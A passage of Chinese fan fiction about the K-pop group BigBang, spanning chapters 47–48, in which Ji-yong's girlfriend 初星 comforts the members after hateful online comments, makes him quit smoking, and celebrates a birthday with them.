“打击是肯定的,”永裴点点头,“但你以为他就此放弃了吗?根本没有!就算被明确拒绝了,过了几天他调节好情绪,继续雷打不动地,算准她放学的时间,默默跟在身后,把她安全送到家楼下才行。刮大风、下暴雨、下雪从来没间断过。有时候放学晚了来不及,他急得跟热锅上的蚂蚁似的,一路狂奔着去。那些送不出去的饮料、零食、小蛋糕,最后十有八九都进了我和胜铉哥的肚子。”永裴说着,仿佛又回味起了那些年被各种甜食支配的“恐惧”。 “就这么追一年多吧,”永裴大致估算了一下时间,“后来,初星和她的好朋友转学到我们学校来了。” “哦!那不是近水楼台先得月?机会更大了?”大声天真地问,觉得曙光就在眼前。 永裴露出一个“孩子你还是太年轻太单纯”的表情:“一开始我们也都这么想,认为这下总该顺利了吧。结果谁知道,两人不知道因为什么闹了非常大的矛盾,那段时间至龙整个人就跟被抽走了灵魂一样,练习的时候频繁出错,吃饭发呆,跟他说话也心不在焉,眼看着就瘦了一圈,憔悴得不行。我都担心他会不会撑不下去,垮掉。” 永裴回忆起那段低气压时期,语气也低沉了些。 胜利和大声大气不敢出,屏息凝神地想象着那个低气压笼罩、无比颓废的至龙哥。 “不过后来,”永裴又轻松起来,“也不知道怎么和好了,反正和好之后,至龙又开始了他那套‘送温暖+护送回家’的流程。”永裴顿了顿说着,“可能是精诚所至金石为开吧,初星终于被他这份执着和真心打动了,大概在高二快结束的时候在一起了。” “所以……前前后后算下来,从认识到追到,差不多用了快两年时间?”胜利掰着手指头仔细算着时间跨度。 “差不多吧。”永裴肯定地点点头,确认了这个漫长的周期。 胜利和大声彻底沉默了,脸上交织着无比复杂的情绪。一方面是对至龙哥那份惊人毅力、执着感到无比佩服——长达近两年的漫长等待、直白的拒绝、重大的关系危机以及无数次日复一日的坚持与付出;但另一方面,两人不约而同地再次回想起初星那张漂亮得让人过目不忘的精致容貌,以及她安静时身上自然流露出的对周遭一切都不甚在意、难以接近的“高岭之花”气质。 这么一想…… 胜利摸了摸下巴,脸上的震撼渐渐被一种“原来如此”的理解所取代,他喃喃道:“不过……现在仔细想想,如果是初星怒那那样的女孩的话……好像……至龙哥这样拼尽全力、历经磨难……也是完全应该的?甚至是可以理解的?” 他试图找出更合适的词语来形容,“毕竟初星怒那看起来就像是……需要被这样长久坚持和用心对待的人。普通的方法根本不可能打动她吧?” 大声也深有同感地用力点头,“内!完全同意!初星那种类型……如果不是至龙哥这样豁出一切的追求,根本连靠近的机会都没有吧?” “现在明白了吧?”永裴看着两位弟弟脸上露出了“悟了”的表情,“为什么他那么紧张初星,为什么在社长面前敢那样强硬表态。他投入了多少时间、多少感情、多少真心,经历了拒绝、矛盾、痛苦才走到她身边,让他放手?那不如直接拿把刀架在他脖子上算了。” “怪不得……”胜利心中所有的惊讶都有了清晰的答案和落点。大声也深吸一口气,仿佛重新认识了他们的队长,充满敬意地说:“至龙哥……他真的……太厉害了。” 只有走在最前面的崔胜铉,自始至终都保持着沉默,将自己隔绝在身后的谈话之外。他的身影在路灯下拉得很长,显得有些孤单寂寥。或许是想起了自己刚刚无奈结束的感情,或许是在思考未来出道后更复杂、更沉重的现实与压力。但最终,他也只是将手更深地插进外套口袋,微微缩了缩肩膀,继续向前走去,融入了首尔夜晚的霓虹灯光之中。 47.第 47 章 出道后的日子如同被按下了疯狂的加速键,密集到令人窒息的行程、无休无止的练习、一场接一场的打歌舞台、以及穿插其中的各种综艺录制和采访……将每一天都填充得密不透风。Bigbang的成员们,像是被上紧了发条的陀螺,在公司和各个通告地点之间高速旋转,身体透支着极限的疲惫,精神却因梦想的初步实现处于高度兴奋的状态。 只有在保姆车里赶往下一个通告的短暂路途上,或是深夜拖着散架的身体回到宿舍、倒在床上洗漱前的片刻,至龙才会偷偷地从钱包最里层的夹层中,摸出那张被他反复摩挲的照片。 是在济州岛,他抓拍的那张照片,每次指尖触碰到这张照片,看到她无忧无虑的笑颜,至龙觉得连日积累的疲惫和无形中堆积的压力,都被瞬间抚平。嘴角也不自觉地扬起温柔而眷恋的弧度。这个小小的角落,是他在节奏快得令人眩晕的新人偶像生活中,唯一能汲取片刻宁静的秘密花园。 而另一边,初星和珍雅盘腿坐在客厅柔软的地毯上,电视机里正播放着音乐节目,房间里弥漫着薯片的咸香和水果糖的甜腻气息。 “来了来了!快到BigBang了!”珍雅眼睛紧盯着屏幕,兴奋地拍了拍初星的手臂,眼底满是期待。 初星也坐直身体,眼睛一眨不眨地聚焦在屏幕上。看着那个在聚光灯下光芒四射、每一个动作都充满张力的男朋友,她心里充满了骄傲,同时夹杂着一丝不真实感——那个私下里会对着她撒娇、会因为一句玩笑话委屈得眼圈发红的男孩,此刻正掌控着整个舞台,接受着无数人的欢呼。 “哇!至龙欧巴的台风真是太绝了!完全掌控全场啊!”珍雅忍不住惊叹,随着音乐节奏轻轻晃动着身体,“这首歌也越听越好听了!啊!永裴欧巴这句高音唱得也太棒了吧!” 初星笑着点头附和,目光始终追随着至龙的身影,看他利落的舞步,看他握着麦克风时专注的神情,看他与成员们默契的互动。 当那首节奏鲜明、旋律抓耳的《La la la》的前奏响起,舞台上的气氛被推向了一个新的高潮。五个少年在台上随着音乐尽情舞动,充满了青春的活力。在某个音乐节拍转换的瞬间,大概是想要营造一个极具冲击力的舞台爆点——台上的五个少年,动作整齐划一,带着些许青涩的刻意,齐刷刷地撩起了上衣的下摆,努力想对着镜头做出帅气又不羁的表情…… 明亮的灯光下,五片白生生的、尚且平坦甚至因为近期高强度练习而显得有些瘦削单薄的少年腰腹,就这样毫无遮掩地、带着点懵懂无畏的“慷慨”,暴露在了无数观众和高清镜头前。 珍雅:“……” 初星:“……” 电视机前出现了短暂的、长达数秒的死寂。珍雅拿着薯片的手僵在了半空中,嘴巴微微张开。初星的眼皮跳了一下,混合着“自家孩子好像在外人面前丢人了”的微妙尴尬和“这傻孩子到底在舞台上干什么啊”的强烈无语感涌上心头。她下意识扶住了额头,简直有点没眼看。 珍雅终于从石化状态中恢复过来,她转过头看向初星,声音都因为忍笑而变了调:“等……等一下……初星啊……他们……他们这是……?这是在展示什么?青春的……‘骨感美’吗?” 说完,珍雅自己先忍不住了,“噗嗤”一声后,爆发出了一阵惊天动地的笑声:“哈哈哈效果?这效果也太……太实在了吧!哎呀我的天哪!‘贫瘠且慷慨’这个词我突然就深刻理解了啊哈哈哈!”她手忙脚乱地掏出了自己的手机,“不行不行,我得问问永裴欧巴他们当时到底是怎么想的!这将成为永流传的经典画面啊!” 珍雅 to 永裴: 【欧巴!舞台看到了!非常精彩!真的!】 【就是……《La la la》撩衣服那一段……你们真是……勇气可嘉!“贫瘠且慷慨”这个词在我脑海里有了无比清晰的画面感!(笑到眼泪都出来的表情)】 初星也默默地拿起了自己的手机,点开与至龙的对话框,指尖在屏幕上犹豫了一下,还是开始打字。 初星 to 至龙: 【和珍雅一起看了今天的舞台,真的很棒!】 【不过……《La la la》的时候……(欲言又止的表情) 珍雅评价你们“贫瘠且慷慨”……我……我一时竟无法反驳。(捂脸苦笑表情)】 BigBang拥挤的待机室里,同时响起了两声清脆的手机提示音,打破了忙碌后的短暂宁静。 永裴拿起手机,解锁屏幕,看到珍雅发来的信息,愣了一下,随即迅速反应过来她说的是舞台上的哪一段“精彩”瞬间,自己也低头笑了起来,有点不好意思地摸了摸后颈。他回复道: 【……啊……那个部分啊……(流汗尴尬表情)】 【是公司策划的舞台设计……说想要一个记忆点……没想到效果好像有点……超出预期了(苦笑表情)】 【我们会努力……争取早日变得‘肥沃’一点的!(发誓努力的表情)】 至龙刚卸完妆,正靠在椅子上闭目养神,听到提示音,懒洋洋地拿起手机。当他看清信息内容,尤其是那五个扎眼的字——“贫瘠且慷慨”,以及“和珍雅一起”这个关键前缀时,一股热血“轰”地一下冲上头顶,脸颊和耳朵尖爆红,羞耻感直冲天灵盖! “莫呀?!珍雅她也看到了?!啊!!!完了完了!”他内心哀嚎一声,把滚烫的脸深深埋进旁边随手抓来的抱枕里,不仅在女朋友面前,更在女朋友最好的闺蜜面前,形象彻底崩塌,碎成了渣渣!这简直是社会性死亡瞬间! 他悲愤交加地回复初星,指尖用力地戳着屏幕: 【呀!!!(一连串炸毛、崩溃、原地爆炸的表情)】 【是舞台效果!是青春的活力!是健康的象征!懂不懂啊!】 【……珍雅她……她真的这么说了吗?(生无可恋.jpg) 我……我无法面对她了……】 初星看着手机上迅速弹出的表情包和文字,忍不住笑出了声,把手机屏幕转向珍雅:“你看,他崩溃了。” 珍雅凑过去一看,笑得更欢了,眼泪都快飙出来。她干脆凑近初星的手机麦克风,按下语音键,用带着笑意的、故意拉长的声音回复:“至龙欧巴!舞台整体真的很棒哦!至于腹肌嘛……加油哦!相信你们可以的!哈哈哈!” 至龙点开那条语音,听到珍雅这毫不留情的“鼓励”,感觉羞耻感又加深了一层,再次把脸埋进抱枕更深的地方,发出了一声闷闷的哀鸣。完了,这黑历史算是被彻底钉在耻辱柱上了!估计未来很长一段时间都要被珍雅拿出来调侃了! 过了一会儿,他才重新鼓起勇气拿起手机: 【娜比……只有你能笑我……不准再扩散这个评价了!(哭唧唧委屈表情)】 【我马上练!立刻就开始练腹肌!(咬牙切齿发誓表情) 一定要雪耻!】 初星看着这条带着撒娇意味的指令,心软成了一片,回复道: 【阿拉搜~ 知道啦,不跟别人说。(摸摸头表情)】 【我们至龙最棒了!舞台魅力满分!(爱心)】 【其实嘛……(偷笑表情) 那样傻傻的……也挺可爱的。】 至龙:“……” 可爱?好吧,可爱就可爱吧,总比“贫瘠”要好听那么一点点。但是!练腹肌的决心已经像钢铁般坚定!必须尽快摆脱这个“耻辱”的标签! 然而,出道初期伴随关注而来的,往往是更为汹涌的争议。网络上关于“最丑男团”、“长相抱歉”之类的恶毒评论铺天盖地地涌来。即使成员们在此之前已经做了一定的心理建设,告诫自己不要在意,但当那些充满恶意和人身攻击的字眼真正映入眼帘时,那份直击心灵的杀伤力和寒意,依然超乎了他们的想象。宿舍里的气氛持续低气压了好几天,连空气都仿佛凝固了。 初星和珍雅也看到了那些刻薄至极的留言,两人又气又心疼,初星更是看得眼睛都瞪圆了,小脸气得鼓鼓的,拉着珍雅二话不说,直奔超市,买了一堆大家爱吃的美食和零食,风风火火地冲到了他们的宿舍。 来开门的是永裴,看到门外提着大包小包的初星和珍雅,他脸上疲惫的神情被更深的感动取代:“你们……怎么突然过来了?” “来看看你们啊,”珍雅晃了晃手里散发着食物香气的袋子,努力让自己的语气听起来轻松些,“买了点好吃的,别老闷在宿舍里自己瞎想。” 初星的目光急切地越过永裴,向宿舍里面探寻,“至龙呢?他怎么样?” 永裴侧身让她们进来,“在房间里呢,和胜铉哥一起。心情很不好,这几天就没怎么说过话,饭也没吃几口。” 大声和胜利也闻声从各自的房间里走出来,看到初星和珍雅,他们强打起精神打招呼,但眉眼间的沮丧和显而易见的受伤神情,却怎么也掩饰不住。 初星和珍雅对视一眼更加难受了。 珍雅把装满食物的袋子递给大声,“网上那些胡说八道的话千万别往心里去!那些人根本什么都不懂,就在那里乱喷!你们超级棒的!舞台我们都看了,超级炸!” 永裴接过另一袋东西,苦笑着摇了摇头,“谢谢你们能来。只是……看着那些话,确实……挺影响心情的。” “何止是影响心情,”胜利一屁股瘫在沙发上,没什么精神地嘟囔着,“没日没夜地练习了那么久,结果没多久就因为长相被骂成这样……” “呀!李胜贤!”珍雅瞪起眼睛,用姐姐的语气教训道,“你也跟着瞎想什么?给我自信起来!你们是独一无二的Bigbang好吗!长相怎么了?有实力才是硬道理!” 珍雅努力地活跃着气氛,安慰着永裴、大声和情绪低落的胜利。 初星则走向至龙和胜铉所在的房间,抬手敲了敲门。 门很快被打开,站在门口的是崔胜铉。他看起来比平时更加沉默寡言,看到初星,侧身让开通道,低声说:“他在里面。” 随后便脚步沉重地走出房间,并体贴地带上了门,将这片私密的空间留给了两人。 房间里的窗帘拉得严严实实,光线十分昏暗,只有门缝里透进的一丝微光。初星的眼睛适应了几秒,才看清靠坐在床边地板上的至龙。 他的身影有些单薄,头发凌乱地耷拉着,遮住了部分额头,整个人深深地低着头,蜷缩着,周身笼罩着一层浓得化不开的低气压和失落。而最让初星倒抽一口凉气的是他垂在身侧的手指间,夹着一支已经燃了半截、冒着缕缕青烟的香烟! “权至龙!”初星立刻惊叫出声,带着一种被辜负了信任的生气和心疼,在这安静的房间里显得格外清晰。 至龙猛地抬起头看过来,初星看到他眼底布满了红血丝,眼神有些涣散和迷茫。当看清是她时,他眼底又闪过一丝慌乱和心虚,手忙脚乱地想把手里的烟藏到身后,动作仓促又狼狈,烟灰都抖落了一些在地上。 “……娜比?你…你怎么来了?”他的声音异常沙哑干涩。 初星此刻才不管他有没有把烟藏好,几步就跨到他面前,叉着腰,眉毛拧得紧紧的,“你看看你!现在像什么样子!躲在这个黑乎乎的房间里抽抽抽!难看死了!丑死了!” 至龙被她这么直接地一吼,有点懵,原本沉溺在自我怀疑和低落中的情绪被打断,只剩下无措和被她看到不堪一面的狼狈:“我……我就是心里有点烦……就……” “就什么就!”初星毫不客气地打断他,手指几乎要戳到他的额头,“网上那些坏蛋、那些眼睛瞎了的人说的话有什么好看的!他们眼睛不好难道你脑子也一起坏掉了吗?!值得你躲在这里抽烟封闭自己吗?!” 她气呼呼地,逻辑简单又直接,“权至龙你听着!我不准!不准你再去看那些乱七八糟的东西了!现在就把手机关掉!” 随即她又俯下身,双手用力地捧住他带着凉意的脸颊,强迫他抬起脸,看着自己的眼睛。她的语气带着蛮横的自信和坚定: “你看我就好了!看着我!”她的眼睛在昏暗中亮得惊人,里面没有丝毫阴霾,只有全然的信任和一种“我的选择绝对正确、我的眼光绝对一流”的骄傲,“我长得这么好看!我能选择和你在一起,这就足以证明你权至龙一点也不差!比那些躲在屏幕后面的家伙强一千倍一万倍!知道吗?!” 至龙愣愣地看着近在咫尺的、她因为生气而显得更加鲜活生动的脸,看着她微微嘟起的嘴唇,看着她眼底倒映出的、那个有些狼狈不堪的自己……那些恶毒的、刺耳的评论似乎在这一刻变得遥远而模糊,失去了力量。 心底盘踞的郁结和委屈,忽然就被她这番看似不讲理却又无比真挚、带着强烈个人色彩的话冲散了大半。他将她的手紧紧贴在自己有些发烫的脸颊上,忍不住低低地笑了起来,“内……阿拉嗖……听到了……我们娜比是全世界最好看的……是我赚到了……是我运气最好……” 看到他的脸上终于露出了笑容,尽管带着疲惫,但不再是刚才那种死气沉沉,初星这才稍微消了点气,心里松了口气。她主动靠过去,想抱住他,给他一些温暖的安慰。 刚一靠近,一股淡淡的烟草味就钻入了她的鼻腔。 初星的小脸又皱了起来,刚刚缓和的表情顷刻消失,被明显的嫌弃所取代。她向后仰了一下,松开了手,还夸张地抬起手在鼻子前面用力扇了扇风,一脸无法忍受地看着他:“呀!权至龙!你身上都是烟味!难闻死了!臭死了!” 至龙的笑容僵在脸上,刚回暖的心情又因为她的嫌弃而跌入谷底,变得忐忑不安,下意识地道歉:“啊……米亚内,娜比,我……我这就去换衣服……” “不准抽了!”初星打断他,下达了最终指令,“以后再也不准抽烟了!听到没有?一口都不准!” 她看着他那副可怜又无措的样子,想了想,又加重了筹码,戳了戳他的胸口,使出了“杀手锏”:“你要是再让我发现你抽烟,或者身上有一点点烟味,” 她顿了顿,扬起小巧的下巴,“我就不让你抱了!也不准你亲我!你离我远一点!至少……至少三米远!” 这个“威胁”对至龙来说简直是致命一击,比任何网络恶评都要让他恐慌。他立马慌了神,赶紧保证,“不抽了!绝对不抽了!我保证!我发誓!” 举起右手,做出发誓的样子,“我明天……不,从现在开始就戒!娜比你别不让我抱……别不让我亲……” 看着他急急忙忙、恨不得把心掏出来表忠心的样子,初星心里那点不快才渐渐散去。她哼了一声,算是勉强接受了他的保证,但还是故意站得离他远了点,伸手指了指房间连接的小浴室:“那你现在!马上去洗澡!换掉这身全是味道的衣服!把头发也洗了!不然今天真的不准碰我一下!” “内!马上去!马上!”至龙此刻哪还有半点刚才的忧郁和颓废,满脑子只剩下“不能让娜比嫌弃”、“要抱抱要亲亲”的强烈念头,从地板上弹起来,也顾不上收拾地上的烟灰,乖乖地拿起干净衣物冲进了浴室,恨不得用掉整瓶沐浴露,把身上的烟味洗得一干二净。 不一会,至龙以最快的速度冲洗了一遍,连头发都仔细洗了两遍,站在镜子前,抬起胳膊仔细地闻了又闻,又凑近闻了闻领口,确认身上只剩下清爽的香气,这才小心翼翼地打开门,走了出去。 初星正坐在他的床边,晃着白皙的小腿,百无聊赖地翻着他放在床头的杂志。听到浴室门响,她抬起头,故意板起小脸,用审视的目光仔仔细细地打量着他,像一只警惕的小猫。 至龙紧张地站在原地,双手微微握紧,像等待最终审判的士兵,还悄悄吸了一口气憋住,生怕还有任何残留的味道被她灵敏的鼻子捕捉到。 初星看着他这副傻乎乎的样子,早就不生气了,但脸上还是努力维持着严肃。对他勾了勾纤细的手指。 至龙像是得到了特赦令,快步走过去,在她面前蹲下身子,仰头看着她,眼神亮晶晶的,充满了讨好和期待,“娜比,洗好了,真的没味道了!你闻闻!我洗得很干净很彻底!” 初星故意凑近他,鼻尖轻轻动了动,像小动物一样仔细地嗅了嗅他刚洗过的头发、脖颈和衣领。清爽的薄荷香气夹杂着他本身干净好闻的气息,确实没有了那令人讨厌的烟草味。 她这才露出了笑容,伸出手指轻轻点了点他的额头,“这还差不多。以后都要保持这样干干净净的。” 得到最终特赦令的至龙笑开了花,迫不及待地伸手将初星紧紧地抱进怀里,把脸埋进她的颈窝里,贪婪地呼吸着这令他安心的气息。 “娜比……”他闷闷地叫着她的名字,手臂收得很紧很紧,仿佛要将之前缺失的拥抱都补回来。 “嗯?”初星也回抱住他,感受到他身体的微微颤抖,心里一疼,轻轻地拍着他的背。 “谢谢你。”他的声音很低,有些沙哑,却充满了真挚的感 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“这还差不多!”初星这才彻底开心起来,跳下床,拉住他的手,“走吧,出去看看他们。胜铉欧巴看起来也好难过的样子,我们去看看能不能帮上忙。” 至龙牵着初星的手走出房间时,外面的伙伴们看到至龙明显振作起来的样子,都暗暗松了口气,相互交换了一个欣慰的眼神。珍雅更是对着初星偷偷竖了一个大大的大拇指。 初星接收到信号,骄傲地扬了扬小巧的下巴,松开手,跑去拿起和珍雅带来的大大的袋子,开始像个小主人一样给大家分发热气腾腾的炸鸡、香甜的蛋糕和各种饮料,嘴里叽叽喳喳地说着:“快吃快吃,凉了就不好吃了!”“这个口味是至龙推荐的,说很好吃!” 在她活力四射的分零食声和珍雅努力抛出的一个个玩笑话中,宿舍里压抑的气氛渐渐开始回暖。虽然网络上那些恶评的阴影不可能因为一顿零食就完全散去,但至少在此刻,朋友的真心陪伴、食物的温暖香气和女孩们带来的活力,暂时驱散了笼罩在少年们心头的阴霾。 初星拿了一包至龙最喜欢的蜂蜜黄油薯片塞到他手里,又拿起一包烤肉味的走到始终沉默地坐在角落沙发里的崔胜铉面前。 “胜铉欧巴,”她的声音放得比平时更软一些,“这个给你吃。别把那些人的话太往心里去,真的,他们根本不了解你们,说的话一点都不值得你难过。” 崔胜铉抬起头,深邃的眼睛看了她一眼,那眼神复杂,有感激,也有未散尽的落寞。他沉默地接过零食,低声说了句:“谢谢。” 初星回到至龙身边坐下,看着周围几个吃着东西、但眉宇间残留着些许低落和不确定的男孩,想了想,用尽量轻松自然的语调开口,试图换个角度开解他们:“其实吧,我觉得,被人说不好看,也没什么大不了的。” 大家都停下动作,看向她。胜利更是忍不住脱口而出,脸上写满了不可思议:“莫?怒那你长得这么漂亮,像仙女一样,还有人说你不好看?” 初星耸耸肩,一副无所谓的样子:“有啊。以前在学校的时候,就有一些男生,可能是我总是不怎么搭理他们,或者他们告白被我拒绝了,背后就会说些很难听的话,什么‘其实仔细看长得也就那样’、‘眼睛太大了显得空洞奇怪’之类的。” 她撇撇嘴,表情不屑,“还有一些人,觉得我的长相和气质……嗯……不太符合现在大部分人喜欢的那种清纯可爱、没有攻击性的类型,就会评价说‘长得太有距离感了’、‘看起来就不好接近’、‘攻击性太强’什么的。” 她拿起一片薯片,咔嚓一声脆响,咬了一口,语气非常坦然,“你看,每个人的审美和看事情的角度都是不一样的。你觉得好看顺眼的,别人未必觉得;别人追捧喜欢的,你可能也完全无感。这本来就是很正常的事情啊。” 珍雅也在一旁用力点头附和,分享自己的经历:“没错没错。就像我,也有人觉得我长得还挺清秀顺眼的,但也总有人说我五官长得太‘平淡’了、‘没什么记忆点’、‘放在人堆里找不出来’。众口难调嘛,太正常了。” 初星接着她的话,目光扫过至龙、永裴、胜铉、大声和胜利,神情认真,“所以啊,那些根本不了解真实的你们、仅仅凭着几张照片或者一小段视频就对你们的外貌评头论足、甚至肆意攻击的人,他们的意见有什么重要的?他们看到的,根本就不是完整的、活生生的、在舞台上发光发热的你们。他们只是在凭借自己狭隘的喜好发泄情绪而已。” 珍雅也用力点头,声音提高了些,带着十足的肯定和鼓励:“而且!最重要的根本不是长相啊!是实力!是你们站在舞台上的那种气场和魅力!你们的实力那么强,舞台表现力那么炸!这才是谁也拿不走、谁也否定不了的东西!” 初星立刻接上,眼睛亮亮地看着他们,语气变得兴奋和自豪起来:“没错!说到这个我就特别骄傲!至龙的创作才华和rap,永裴欧巴的舞蹈力度和vocal稳定性,胜铉欧巴独一无二的超低音炮和节奏感,大声欧巴温暖又有力量的歌声和感染人的笑容,还有胜利的舞台活力和他那特别的草莓音!每一样都超厉害的!是别人想学都学不来的!” 她掰着手指数着每个人的优点,如数家珍,“舞台下的评价随便他们怎么说,但是当音乐响起,灯光打在你们身上的时候,你们是真的在发光啊!这难道不是最酷、最值得骄傲的事情吗?” 她看向至龙,又看看其他成员,目光认真又充满了不容置疑的崇拜:“重要的是你们自己知道自己是谁,知道自己付出了多少努力,知道自己想要成为什么样的艺术家。而且,”她顿了顿,脸上露出一点小骄傲,“我觉得你们很棒,很有魅力,是独一无二的!这就够啦!毕竟,我的眼光可是很高的!” 初星和珍雅这番结合了自身经历、最终又落到对他们实力毫无保留的肯定上的话,精准地注入了少年们有些动摇的内心。原本有些钻牛角尖、陷入外貌焦虑的几个人,都抬起了头,眼底重新燃起了被认可、被理解的光芒。 至龙看着她的眼睛,心里最后那点因恶评而产生的阴霾被驱散,眼神里浮现的是重新汹涌而起的、要用舞台证明一切的斗志。他用力地回握了她的手,仿佛要从她那里汲取无穷的力量。 永裴也挺直了脊背,笑容变得坚定和释然起来:“初星和珍雅说得对。是我们一时糊涂了,钻了牛角尖。舞台和音乐才是我们的根本,是我们应该全力以赴的地方。” 大声用力点头,声音也恢复了往常的洪亮:“嗯!用音乐说话!用舞台证明!” 连一直沉默坐在角落的崔胜铉,也“嗯”了一声,握紧了手里的零食袋,紧绷的下颌线放松了一些。 胜利一拍大腿,像是被重新充满了电,一下子从沙发上跳起来,恢复了往常的活力:“没错!我们实力这么强,怕什么长相攻击!下次舞台我们要更炸!炸到让他们闭嘴!” 气氛彻底活跃起来。大家吃着初星和珍雅带来的美食,开始热烈地讨论起接下来的练习重点、舞台编排和想要尝试的音乐风格,眼神里重新充满了专注、热情和不服输的劲头。 时间不知不觉流逝,窗外夜色渐深,初星和珍雅也该回去了。 “我们得走啦,你们好好休息!别想太多!下次舞台我们一定会守着电视看的!”珍雅拉着初星起身,向大家道别。 “今天真的谢谢你们。”永裴再次道谢,这次是充满了感激和轻松的笑容。 至龙站起身,紧紧拉着初星的手送她们到门口,手指眷恋地摩挲着她的手背,舍不得放开。 初星看了看旁边的珍雅和其他人,脸上泛起一丝红晕,稍微踮起脚尖,飞快地在至龙的脸颊上落下了一个轻柔的吻,小声地说:“记住我们的拉钩约定哦!不准反悔!我等着在电视上看到最棒、最闪耀的舞台!” 至龙的耳朵尖以肉眼可见的速度变红了,心底充满了被爱和鼓励滋养的力量。他用力点头,眼神灼灼,充满了决心:“嗯!等着看吧!绝对不会让你失望的!” 送走初星和珍雅,关上门,宿舍里似乎还残留着女孩们带来的欢声笑语、零食的温暖香气,以及那份至关重要的、对音乐实力和舞台价值的肯定。 网络上的风暴或许仍在肆虐,攻击和质疑或许不会停止,但Bigbang的少年们已经重新找回了自己的锚点和力量源泉——舞台、音乐,以及彼此和支持他们的人。他们的眼神不再迷茫和受伤,取而代之的是更加坚定、更加炽热的光芒,那是对梦想的执着,也是对未来的承诺。 48.第 48 章 12月的夜晚寒气袭人,呵出的气凝成白雾。但Bigbang宿舍所在的楼层却透出暖黄的光,隐隐传来热闹的声响,透着一丝与寒冷夜晚格格不入的暖意和隐秘的兴奋。 晚上八点整,门铃准时响起。在门外等得脚趾都有些发冷的初星和胜利对视一眼,都从对方眼里看到了迫不及待。胜利缩着脖子小声嘀咕:“哥他们到底在搞什么神秘啊,非要这个点才让进来……冷死了……” 门从里面被拉开一道缝,暖气和喧闹声立刻涌出,露出永裴那张总是带着太阳般温暖笑容的脸:“快进来吧,两位寿星!” 初星和胜利刚踏进玄关,还没来得及换鞋,彩带和欢呼声就同时爆发! “生日快乐!!” 早已埋伏在门厅两侧的权至龙、姜大声和崔胜铉一下子跳了出来,永裴笑着让开身,珍雅也在一旁开心地拍着手,脸上洋溢着祝福的笑容。 宿舍的客厅被精心装饰过,充满了生日派对的氛围。墙上错落有致地挂着亮闪闪的“Happy Birthday”字母气球,中间还巧妙地夹着特意定制的“To Seungri & Choseong”小横幅。客厅中央的茶几上,摆放着生日蛋糕,洁白的奶油裱花细腻,上面插着两支数字蜡烛,分别是初星和胜利的年龄。蛋糕周围堆满了包装各异的精美礼物盒,沙发上还散落着一些可爱的卡通生日帽和五彩的亮片。 最显眼的是,客厅正中央拉了一条红色的横幅,上面用夸张又略带童趣的字体写着:“祝贺我们的忙内和初星公主生日快乐!” 旁边还画着歪歪扭扭的爱心和音符。 “哇!!!”胜利惊喜地大叫起来,嘴巴张成了标准的O型,原地蹦跳了一下,“哥!你们什么时候偷偷准备的?!太棒了吧!完全惊喜!” 初星也被这热烈而用心的惊喜氛围感染,捂住嘴,眼睛笑得弯成了两道漂亮的月牙,惊喜地望向正含笑看着她的至龙:“你们……偷偷准备了这么多呀?” 至龙走上前,将一顶缀着小星星和蝴蝶结的银色生日帽轻轻戴在初星头上,眼里满是几乎要溢出来的宠溺和一丝“快夸我”的得意:“喜欢吗?我们可是密谋准备了好久。” 他特意指了指那条最显眼的横幅,“特别是那个,我想的创意,字是永裴写的。” 永裴笑着给还在兴奋状态、手舞足蹈的胜利也扣上了写着“Happy Go Lucky”的搞怪生日帽,拍了拍他的肩:“怎么样,忙内,还满意吧?为了瞒住你们可费劲了。” 大声在一旁开心地补充,“蛋糕是至龙哥和胜铉哥跑了三家店才订到的!说是要兼顾两位寿星的喜好!” 胜铉虽然保持着酷酷的表情没说话,但也微微点了点头,深邃的眼眸中带着温和的笑意。 珍雅拉过初星的手,带她走向茶几:“快来看看蛋糕!设计得超用心的,超漂亮!” 初星和胜利被大家簇拥着围到蛋糕前。蛋糕设计得确实别具匠心,一边用巧克力酱画着代表胜利的、憨态可掬的熊猫卡通图案,另一边则是用浅蓝色果酱勾勒出的星星和环绕的银色糖霜蝴蝶,象征着初星。中间用优雅的花体字写着“Seungri & Choseong”,周围点缀着可食用的银色糖珠。 “许愿许愿!快许愿!”大声笑着催促道,气氛热烈。 至龙和永裴同时拿出打火机,“咔哒”两声,温暖的烛火在数字蜡烛上跳跃起来。胜铉跑去关掉大灯,只留下几盏暖黄色的壁灯,客厅笼罩在温馨朦胧的烛光里,柔和的光晕映照着每一张带笑的脸庞。 初星和胜利一起闭上眼睛,双手合十,长长的睫毛在眼下投下细密的阴影,脸上带着虔诚和期待,认真地许下了属于各自的生日愿望。 在大家齐声唱响的、有些跑调却格外真挚的生日歌声中,两人相视一笑,默契地一起俯身,“呼——”地吹灭了所有蜡烛。 “切蛋糕!切蛋糕!”胜利兴奋地搓搓手,拿起准备好的塑料刀,跃跃欲试。 初星好奇地望向茶几旁那堆得像小山一样的礼物,眼睛亮晶晶的:“那些……都是给我们的吗?” “当然!”至龙带着她走到礼物堆前,胜利也放下刀围过来。他的目光在五颜六色的包装中搜寻了一下,小心地从中取出用深邃星空蓝色哑光纸精心包装的盒子,“这份,”声音因为紧张有些低沉“是我的。” 初星接过盒子,沿着边缘慢慢拆开包装纸,打开盒盖,里面是一本精美、充满手工温度的皮质封面相册。 相册中央用烫银工艺压印着一颗小巧的星星和缠绕在一起的“G&S”花体字母,简洁而独特。 初星有些惊讶地抬起头看了至龙一眼,她轻轻翻开厚重的封面。 第一页,贴着一张像素有些模糊、带着点颗粒感的照片——是三年前,在学校那个简陋的礼堂后台,至龙抓拍到的,初星在台上表演舞蹈时的旋转瞬间。照片里的她眼神专注,裙摆飞扬。照片旁边,是他写下的一行略显青涩却认真的字:“故事的开始。一切美好的序章。” 后面一页页翻下去,初星的眼睛渐渐湿润了,指尖带着微微的颤抖。 里面贴满了照片,几乎都是至龙的视角。有她在图书馆靠窗位置认真看书的宁静侧脸,阳光洒在她长长的睫毛上;有她某个夏日午后举着冰淇淋、嘴角沾着一点奶油却笑得无比满足的抓拍;有他们第一次在汉江边散步时,夕阳下两人被拉长的影子交织在一起的合照;有他们第一次短途旅行,她在海边回头对他灿烂一笑的瞬间;有她累极了窝在练习室角落垫子上睡着了的偷拍,头发凌乱却睡得香甜;还有某次她因为他约会迟到而生气、嘟着嘴别过脸去的抓拍(旁边还有至龙用细笔调皮地画了个小箭头写着:生气的娜比也很可爱,像鼓起来的包子)……很多瞬间,她甚至都不知道他是什么时候悄悄记录下来的。 每一张照片旁边,都有至龙亲手写下的注释和日期。有些是简单的地点和事件,有些是一两句当时的心情或有趣的细节,字迹时而工整清晰,时而因为匆忙而略显潦草,却充满了鲜活的生活气息和真挚的情感流动。 